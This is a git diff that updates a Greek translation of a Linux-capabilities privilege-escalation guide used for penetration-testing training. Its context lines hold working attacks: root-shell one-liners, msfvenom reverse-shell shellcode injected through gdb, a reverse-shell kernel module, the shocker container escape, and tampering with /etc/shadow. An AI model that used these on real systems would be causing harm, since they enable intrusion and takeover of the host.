Translated ['linux-hardening/privilege-escalation/linux-capabilities.md'

2024-11-24 21:53:54 +00:00 · 2024-10-05 14:49:33 +00:00 · 2024-10-05 14:49:33 +00:00 · 9323b7615f
commit 9323b7615f
parent 5892ffb0e0
1 changed files with 66 additions and 64 deletions
--- a/linux-hardening/privilege-escalation/linux-capabilities.md
+++ b/linux-hardening/privilege-escalation/linux-capabilities.md
@ -18,13 +18,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

-[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα.\\
+[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα βραστό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.\\

 {% embed url="https://www.rootedcon.com/" %}

 ## Linux Capabilities

-Οι δυνατότητες του Linux διαιρούν **τα δικαιώματα root σε μικρότερες, διακριτές μονάδες**, επιτρέποντας στις διαδικασίες να έχουν ένα υποσύνολο δικαιωμάτων. Αυτό ελαχιστοποιεί τους κινδύνους, αποφεύγοντας την άσκοπη χορήγηση πλήρων δικαιωμάτων root.
+Οι δυνατότητες του Linux διαιρούν **τα δικαιώματα root σε μικρότερες, διακριτές μονάδες**, επιτρέποντας στις διαδικασίες να έχουν ένα υποσύνολο δικαιωμάτων. Αυτό ελαχιστοποιεί τους κινδύνους, αποφεύγοντας την αχρείαστη χορήγηση πλήρων δικαιωμάτων root.

 ### Το Πρόβλημα:
 - Οι κανονικοί χρήστες έχουν περιορισμένα δικαιώματα, επηρεάζοντας εργασίες όπως το άνοιγμα ενός δικτύου socket που απαιτεί πρόσβαση root.
@ -44,16 +44,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 3. **Permitted (CapPrm)**:
 - **Σκοπός**: Ορίζει το μέγιστο σύνολο δυνατοτήτων που μπορεί να έχει μια διαδικασία.
 - **Λειτουργικότητα**: Μια διαδικασία μπορεί να ανυψώσει μια δυνατότητα από το επιτρεπόμενο σύνολο στο αποτελεσματικό της σύνολο, δίνοντάς της τη δυνατότητα να χρησιμοποιήσει αυτή τη δυνατότητα. Μπορεί επίσης να απορρίψει δυνατότητες από το επιτρεπόμενο σύνολό της.
- **Όριο**: Λειτουργεί ως ανώτατο όριο για τις δυνατότητες που μπορεί να έχει μια διαδικασία, διασφαλίζοντας ότι μια διαδικασία δεν θα υπερβεί το προκαθορισμένο πεδίο δικαιωμάτων της.
+- **Όριο**: Λειτουργεί ως ανώτατο όριο για τις δυνατότητες που μπορεί να έχει μια διαδικασία, διασφαλίζοντας ότι μια διαδικασία δεν υπερβαίνει το προκαθορισμένο πεδίο δικαιωμάτων της.

 4. **Bounding (CapBnd)**:
 - **Σκοπός**: Θέτει ένα ανώτατο όριο στις δυνατότητες που μπορεί να αποκτήσει μια διαδικασία κατά τη διάρκεια του κύκλου ζωής της.
- **Λειτουργικότητα**: Ακόμα και αν μια διαδικασία έχει μια συγκεκριμένη δυνατότητα στο κληρονομούμενο ή επιτρεπόμενο σύνολο, δεν μπορεί να αποκτήσει αυτή τη δυνατότητα εκτός αν είναι επίσης στο περιορισμένο σύνολο.
+- **Λειτουργικότητα**: Ακόμα και αν μια διαδικασία έχει μια συγκεκριμένη δυνατότητα στο κληρονομούμενο ή επιτρεπόμενο σύνολο, δεν μπορεί να αποκτήσει αυτή τη δυνατότητα εκτός αν είναι επίσης στο περιοριστικό σύνολο.
 - **Χρήση**: Αυτό το σύνολο είναι ιδιαίτερα χρήσιμο για τον περιορισμό της δυνατότητας ανύψωσης δικαιωμάτων μιας διαδικασίας, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας.

 5. **Ambient (CapAmb)**:
- **Σκοπός**: Επιτρέπει σε ορισμένες δυνατότητες να διατηρούνται κατά τη διάρκεια μιας κλήσης συστήματος `execve`, η οποία συνήθως θα οδηγούσε σε πλήρη επαναφορά των δυνατοτήτων της διαδικασίας.
- **Λειτουργικότητα**: Διασφαλίζει ότι τα προγράμματα που δεν είναι SUID και δεν έχουν σχετικές δυνατότητες αρχείου μπορούν να διατηρήσουν ορισμένα δικαιώματα.
+- **Σκοπός**: Επιτρέπει ορισμένες δυνατότητες να διατηρούνται κατά τη διάρκεια μιας κλήσης συστήματος `execve`, η οποία συνήθως θα οδηγούσε σε πλήρη επαναφορά των δυνατοτήτων της διαδικασίας.
+- **Λειτουργικότητα**: Διασφαλίζει ότι τα προγράμματα μη SUID που δεν έχουν σχετικές δυνατότητες αρχείου μπορούν να διατηρήσουν ορισμένα δικαιώματα.
 - **Περιορισμοί**: Οι δυνατότητες σε αυτό το σύνολο υπόκεινται στους περιορισμούς των κληρονομούμενων και επιτρεπόμενων συνόλων, διασφαλίζοντας ότι δεν υπερβαίνουν τα επιτρεπόμενα δικαιώματα της διαδικασίας.
 ```python
 # Code to demonstrate the interaction of different capability sets might look like this:
@ -115,11 +115,11 @@ CapAmb:    0000000000000000
 capsh --decode=0000000000003000
 0x0000000000003000=cap_net_admin,cap_net_raw
 ```
-Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλώς χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό διαδικασίας (PID) της. Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασίας.
+Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλώς χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών.
 ```bash
 getpcaps 1234
 ```
-Ας ελέγξουμε εδώ τις δυνατότητες του `tcpdump` αφού δώσουμε στο δυαδικό αρχείο αρκετές δυνατότητες (`cap_net_admin` και `cap_net_raw`) για να παρακολουθήσει το δίκτυο (_το tcpdump εκτελείται στη διαδικασία 9562_):
+Ας ελέγξουμε εδώ τις δυνατότητες του `tcpdump` αφού δώσουμε στο δυαδικό αρχείο αρκετές δυνατότητες (`cap_net_admin` και `cap_net_raw`) για να παρακολουθήσουμε το δίκτυο (_το tcpdump εκτελείται στη διαδικασία 9562_):
 ```bash
 #The following command give tcpdump the needed capabilities to sniff traffic
 $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
@ -157,15 +157,15 @@ getcap -r / 2>/dev/null
 ```bash
 capsh --drop=cap_net_raw --print -- -c "tcpdump"
 ```
-Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error.
+Εκτός από την έξοδο του _capsh_ αυτού καθαυτού, η εντολή _tcpdump_ θα πρέπει επίσης να προκαλέσει ένα σφάλμα.

-> /bin/bash: /usr/sbin/tcpdump: Η λειτουργία δεν επιτρέπεται
+> /bin/bash: /usr/sbin/tcpdump: Operation not permitted

-The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.
+Το σφάλμα δείχνει ξεκάθαρα ότι η εντολή ping δεν επιτρέπεται να ανοίξει ένα ICMP socket. Τώρα ξέρουμε σίγουρα ότι αυτό λειτουργεί όπως αναμενόταν.

 ### Αφαίρεση Δυνατοτήτων

-You can remove capabilities of a binary with
+Μπορείτε να αφαιρέσετε τις δυνατότητες ενός δυαδικού αρχείου με
 ```bash
 setcap -r </path/to/binary>
 ```
@ -293,12 +293,12 @@ capsh --print
 Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
 ```
 {% hint style="danger" %}
-Μπορείτε **μόνο να προσθέσετε ικανότητες που είναι παρούσες** τόσο στα επιτρεπόμενα όσο και στα κληρονομούμενα σύνολα.
+Μπορείτε **μόνο να προσθέσετε ικανότητες που είναι παρούσες** και στα δύο σύνολα, το επιτρεπόμενο και το κληρονομούμενο.
 {% endhint %}

-### Ικανότητες-συνειδητές/Ικανότητες-ανίδεες δυαδικές
+### Ικανότητες-ενήμερες/Ικανότητες-ανενήμερες δυαδικές

-Οι **δυαδικές που είναι ικανότητες-συνειδητές δεν θα χρησιμοποιήσουν τις νέες ικανότητες** που παρέχονται από το περιβάλλον, ωστόσο οι **δυαδικές που είναι ικανότητες-ανίδεες θα τις χρησιμοποιήσουν** καθώς δεν θα τις απορρίψουν. Αυτό καθιστά τις δυαδικές ικανότητες-ανίδεες ευάλωτες μέσα σε ένα ειδικό περιβάλλον που παρέχει ικανότητες σε δυαδικές.
+Οι **δυαδικές που είναι ενήμερες για ικανότητες δεν θα χρησιμοποιήσουν τις νέες ικανότητες** που παρέχονται από το περιβάλλον, ωστόσο οι **δυαδικές που είναι ανενήμερες για ικανότητες θα τις χρησιμοποιήσουν** καθώς δεν θα τις απορρίψουν. Αυτό καθιστά τις δυαδικές ανενήμερες για ικανότητες ευάλωτες μέσα σε ένα ειδικό περιβάλλον που παρέχει ικανότητες σε δυαδικές.

 ## Ικανότητες Υπηρεσίας

@ -309,9 +309,9 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
 User=bob
 AmbientCapabilities=CAP_NET_BIND_SERVICE
 ```
-## Capabilities in Docker Containers
+## Δυνατότητες σε κοντέινερ Docker

-Από προεπιλογή, το Docker αναθέτει μερικές ικανότητες στα κοντέινερ. Είναι πολύ εύκολο να ελέγξετε ποιες είναι αυτές οι ικανότητες εκτελώντας:
+Από προεπιλογή, το Docker ανα assigns μερικές δυνατότητες στα κοντέινερ. Είναι πολύ εύκολο να ελέγξετε ποιες είναι αυτές οι δυνατότητες εκτελώντας:
 ```bash
 docker run --rm -it  r.j3ss.co/amicontained bash
 Capabilities:
@ -328,7 +328,7 @@ docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
 ```
 <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

-[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
+[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα.

 {% embed url="https://www.rootedcon.com/" %}

@ -361,7 +361,7 @@ setcap cap_setuid+ep /usr/bin/python2.7
 #Exploit
 /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
 ```
-**Δυνατότητες** που απαιτούνται από το `tcpdump` για **να επιτρέπουν σε οποιονδήποτε χρήστη να καταγράφει πακέτα**:
+**Δυνατότητες** που απαιτούνται από το `tcpdump` για **να επιτρέπεται σε οποιονδήποτε χρήστη να καταγράφει πακέτα**:
 ```bash
 setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
 getcap /usr/sbin/tcpdump
@ -392,7 +392,7 @@ cp /etc/passwd ./ #Create a copy of the passwd file
 openssl passwd -1 -salt abc password #Get hash of "password"
 vim ./passwd #Change roots passwords of the fake passwd file
 ```
-Και τέλος **mount** το τροποποιημένο αρχείο `passwd` στο `/etc/passwd`:
+Και τελικά **mount** το τροποποιημένο αρχείο `passwd` στο `/etc/passwd`:
 ```python
 from ctypes import *
 libc = CDLL("libc.so.6")
@ -457,9 +457,9 @@ ssh john@172.17.0.1 -p 2222
 ```
 ## CAP\_SYS\_PTRACE

-**Αυτό σημαίνει ότι μπορείτε να διαφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε κάποια διαδικασία που εκτελείται μέσα στον κεντρικό υπολογιστή.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον κεντρικό υπολογιστή, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**.
+**Αυτό σημαίνει ότι μπορείτε να διαφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε κάποια διαδικασία που εκτελείται μέσα στον οικοδεσπότη.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον οικοδεσπότη, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**.

-**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** παρέχει τη δυνατότητα χρήσης λειτουργιών αποσφαλμάτωσης και ιχνηλάτησης κλήσεων συστήματος που παρέχονται από το `ptrace(2)` και κλήσεις διασύνδεσης μνήμης όπως το `process_vm_readv(2)` και το `process_vm_writev(2)`. Αν και είναι ισχυρό για διαγνωστικούς και παρακολούθησης σκοπούς, εάν το `CAP_SYS_PTRACE` είναι ενεργοποιημένο χωρίς περιοριστικά μέτρα όπως ένα φίλτρο seccomp στο `ptrace(2)`, μπορεί να υπονομεύσει σημαντικά την ασφάλεια του συστήματος. Συγκεκριμένα, μπορεί να εκμεταλλευτεί για να παρακάμψει άλλους περιορισμούς ασφαλείας, ιδίως αυτούς που επιβάλλονται από το seccomp, όπως αποδεικνύεται από [αποδείξεις εννοιών (PoC) όπως αυτή](https://gist.github.com/thejh/8346f47e359adecd1d53).
+**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** παρέχει τη δυνατότητα χρήσης λειτουργιών αποσφαλμάτωσης και παρακολούθησης κλήσεων συστήματος που παρέχονται από το `ptrace(2)` και κλήσεις διασύνδεσης μνήμης όπως το `process_vm_readv(2)` και το `process_vm_writev(2)`. Αν και είναι ισχυρό για διαγνωστικούς και παρακολούθησης σκοπούς, εάν το `CAP_SYS_PTRACE` είναι ενεργοποιημένο χωρίς περιοριστικά μέτρα όπως ένα φίλτρο seccomp στο `ptrace(2)`, μπορεί να υπονομεύσει σημαντικά την ασφάλεια του συστήματος. Συγκεκριμένα, μπορεί να εκμεταλλευτεί για να παρακάμψει άλλους περιορισμούς ασφαλείας, ιδίως αυτούς που επιβάλλονται από το seccomp, όπως αποδεικνύεται από [αποδείξεις εννοιών (PoC) όπως αυτή](https://gist.github.com/thejh/8346f47e359adecd1d53).

 **Παράδειγμα με δυαδικό (python)**
 ```bash
@ -560,7 +560,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
 /usr/bin/gdb = cap_sys_ptrace+ep
 ```
 ```markdown
-Δημιουργήστε ένα shellcode με το msfvenom για να το εισάγετε στη μνήμη μέσω του gdb
+Δημιουργήστε ένα shellcode με το msfvenom για να το εισάγετε στη μνήμη μέσω gdb
 ```
 ```python
 # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
@ -574,7 +574,7 @@ buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
 buf += b"\x0f\x05"

 # Divisible by 8
-payload = b"\x90" * (8 - len(buf) % 8 ) + buf
+payload = b"\x90" * (-len(buf) % 8) + buf

 # Change endianess and print gdb lines to load the shellcode in RIP directly
 for i in range(0, len(buf), 8):
@ -587,21 +587,23 @@ print(f"set {{long}}($rip+{i}) = {chunks}")
 ```
 Debug a root process with gdb και αντιγράψτε-επικολλήστε τις προηγουμένως παραγόμενες γραμμές gdb:
 ```bash
+# Let's write the commands to a file
+echo 'set {long}($rip+0) = 0x296a909090909090
+set {long}($rip+8) = 0x5e016a5f026a9958
+set {long}($rip+16) = 0x0002b9489748050f
+set {long}($rip+24) = 0x48510b0e0a0a2923
+set {long}($rip+32) = 0x582a6a5a106ae689
+set {long}($rip+40) = 0xceff485e036a050f
+set {long}($rip+48) = 0x6af675050f58216a
+set {long}($rip+56) = 0x69622fbb4899583b
+set {long}($rip+64) = 0x8948530068732f6e
+set {long}($rip+72) = 0x050fe689485752e7
+c' > commands.gdb
 # In this case there was a sleep run by root
 ## NOTE that the process you abuse will die after the shellcode
 /usr/bin/gdb -p $(pgrep sleep)
 [...]
-(gdb) set {long}($rip+0) = 0x296a909090909090
-(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
-(gdb) set {long}($rip+16) = 0x0002b9489748050f
-(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
-(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
-(gdb) set {long}($rip+40) = 0xceff485e036a050f
-(gdb) set {long}($rip+48) = 0x6af675050f58216a
-(gdb) set {long}($rip+56) = 0x69622fbb4899583b
-(gdb) set {long}($rip+64) = 0x8948530068732f6e
-(gdb) set {long}($rip+72) = 0x050fe689485752e7
-(gdb) c
+(gdb) source commands.gdb
 Continuing.
 process 207009 is executing new program: /usr/bin/dash
 [...]
@ -647,7 +649,7 @@ List **processes** running in the **host** `ps -eaf`
 ## CAP\_SYS\_MODULE

 **[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation.  
-**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
+**Αυτό σημαίνει ότι μπορείτε να** **εισάγετε/αφαιρέσετε kernel modules από/στον πυρήνα της μηχανής φιλοξενίας.**

 **Example with binary**

@ -680,7 +682,7 @@ km.modprobe("reverse-shell")
 getcap -r / 2>/dev/null
 /bin/kmod = cap_sys_module+ep
 ```
-Το οποίο σημαίνει ότι είναι δυνατόν να χρησιμοποιήσετε την εντολή **`insmod`** για να εισάγετε ένα module πυρήνα. Ακολουθήστε το παρακάτω παράδειγμα για να αποκτήσετε ένα **reverse shell** εκμεταλλευόμενοι αυτό το προνόμιο.
+Αυτό σημαίνει ότι είναι δυνατόν να χρησιμοποιήσετε την εντολή **`insmod`** για να εισάγετε ένα module πυρήνα. Ακολουθήστε το παρακάτω παράδειγμα για να αποκτήσετε ένα **reverse shell** εκμεταλλευόμενοι αυτό το προνόμιο.

 **Παράδειγμα με περιβάλλον (Docker breakout)**

@ -764,7 +766,7 @@ insmod reverse-shell.ko #Launch the reverse shell

 ## CAP\_DAC\_READ\_SEARCH

-[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του namespace mount της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστικός αριθμός που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραβίαση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
+[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του namespace τοποθέτησης της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστής που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραβίαση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
 **Αυτό σημαίνει ότι μπορείτε να** **παρακάμψετε τους ελέγχους άδειας ανάγνωσης αρχείων και τους ελέγχους άδειας ανάγνωσης/εκτέλεσης καταλόγων.**

 **Παράδειγμα με δυαδικό αρχείο**
@ -791,7 +793,7 @@ print(open("/etc/shadow", "r").read())
 ```
 **Παράδειγμα σε Περιβάλλον (Docker breakout)**

-You can check the enabled capabilities inside the docker container using:
+Μπορείτε να ελέγξετε τις ενεργοποιημένες δυνατότητες μέσα στο κοντέινερ docker χρησιμοποιώντας:
 ```
 capsh --print
 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
@ -1152,7 +1154,7 @@ close(fd1);
 return 0;
 }
 ```
-Για να ξεφύγετε από το κοντέινερ docker, μπορείτε να **κατεβάσετε** τα αρχεία `/etc/shadow` και `/etc/passwd` από τον κεντρικό υπολογιστή, να **προσθέσετε** σε αυτά έναν **νέο χρήστη** και να χρησιμοποιήσετε **`shocker_write`** για να τα αντικαταστήσετε. Στη συνέχεια, **πρόσβαση** μέσω **ssh**.
+Για να ξεφύγετε από το κοντέινερ docker, μπορείτε να **κατεβάσετε** τα αρχεία `/etc/shadow` και `/etc/passwd` από τον κεντρικό υπολογιστή, **να προσθέσετε** σε αυτά έναν **νέο χρήστη** και να χρησιμοποιήσετε **`shocker_write`** για να τα αντικαταστήσετε. Στη συνέχεια, **να αποκτήσετε πρόσβαση** μέσω **ssh**.

 **Ο κώδικας αυτής της τεχνικής αντιγράφηκε από το εργαστήριο "Abusing DAC\_OVERRIDE Capability" από** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)

@ -1162,21 +1164,21 @@ return 0;

 **Παράδειγμα με δυαδικό**

-Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα, μπορείτε να **αλλάξετε** τον **ιδιοκτήτη** του αρχείου **shadow**, να **αλλάξετε τον κωδικό πρόσβασης του root** και να κλιμακώσετε τα δικαιώματα:
+Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα, μπορείτε να **αλλάξετε** τον **ιδιοκτήτη** του αρχείου **shadow**, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κλιμακώσετε τα δικαιώματα:
 ```bash
 python -c 'import os;os.chown("/etc/shadow",1000,1000)'
 ```
-Ή με το **`ruby`** δυαδικό αρχείο που έχει αυτή την ικανότητα:
+Ή με το **`ruby`** δυαδικό αρχείο να έχει αυτή την ικανότητα:
 ```bash
 ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
 ```
 ## CAP\_FOWNER

-**Αυτό σημαίνει ότι είναι δυνατόν να αλλάξετε την άδεια οποιουδήποτε αρχείου.**
+**Αυτό σημαίνει ότι είναι δυνατή η αλλαγή των δικαιωμάτων οποιουδήποτε αρχείου.**

 **Παράδειγμα με δυαδικό αρχείο**

-Αν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τις άδειες του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κλιμακώσετε τα δικαιώματα:
+Αν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τα δικαιώματα του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κερδίσετε δικαιώματα:
 ```bash
 python -c 'import os;os.chmod("/etc/shadow",0666)
 ```
@ -1224,7 +1226,7 @@ import os
 os.setgid(42)
 os.system("/bin/bash")
 ```
-Σε αυτή την περίπτωση, η ομάδα shadow υποκλάπηκε, οπότε μπορείτε να διαβάσετε το αρχείο `/etc/shadow`:
+Σε αυτή την περίπτωση, η ομάδα shadow παριστάνθηκε, ώστε να μπορείτε να διαβάσετε το αρχείο `/etc/shadow`:
 ```bash
 cat /etc/shadow
 ```
@ -1234,7 +1236,7 @@ cat /etc/shadow

 **Αυτό σημαίνει ότι είναι δυνατόν να ορίσετε ικανότητες σε αρχεία και διαδικασίες**

-**Παράδειγμα με δυαδικό αρχείο**
+**Παράδειγμα με δυαδικό**

 Αν το python έχει αυτή την **ικανότητα**, μπορείτε πολύ εύκολα να την εκμεταλλευτείτε για να κλιμακώσετε τα δικαιώματα σε root:

@ -1299,12 +1301,12 @@ bash: /usr/bin/gdb: Operation not permitted
 [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Αυτό είναι ένα **περιοριστικό υπερσύνολο για τις αποτελεσματικές ικανότητες** που μπορεί να αναλάβει το νήμα. Είναι επίσης ένα περιοριστικό υπερσύνολο για τις ικανότητες που μπορεί να προστεθούν στο κληρονομούμενο σύνολο από ένα νήμα που **δεν έχει την ικανότητα CAP\_SETPCAP** στο αποτελεσματικό του σύνολο._\
 Φαίνεται ότι οι επιτρεπόμενες ικανότητες περιορίζουν αυτές που μπορούν να χρησιμοποιηθούν.\
 Ωστόσο, το Docker παρέχει επίσης την **CAP\_SETPCAP** από προεπιλογή, οπότε μπορεί να είστε σε θέση να **ορίσετε νέες ικανότητες μέσα στις κληρονομούμενες**.\
-Ωστόσο, στην τεκμηρίωση αυτής της ικανότητας: _CAP\_SETPCAP : \[…] **προσθέτει οποιαδήποτε ικανότητα από το περιοριστικό** σύνολο του καλούντος νήματος στο κληρονομούμενο σύνολό του_.\
+Ωστόσο, στην τεκμηρίωση αυτής της ικανότητας: _CAP\_SETPCAP : \[…] **προσθέστε οποιαδήποτε ικανότητα από το περιοριστικό** σύνολο του καλούντος νήματος στο κληρονομούμενο σύνολο_.\
 Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομούμενο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP\_SYS\_ADMIN ή CAP\_SYS\_PTRACE στο κληρονομούμενο σύνολο για να κλιμακώσουμε τα δικαιώματα**.

 ## CAP\_SYS\_RAWIO

-[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά από ευαίσθητες λειτουργίες, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση του `mmap_min_addr`, πρόσβαση στις κλήσεις συστήματος `ioperm(2)` και `iopl(2)`, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` είναι επίσης ενεργοποιημένη μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`.
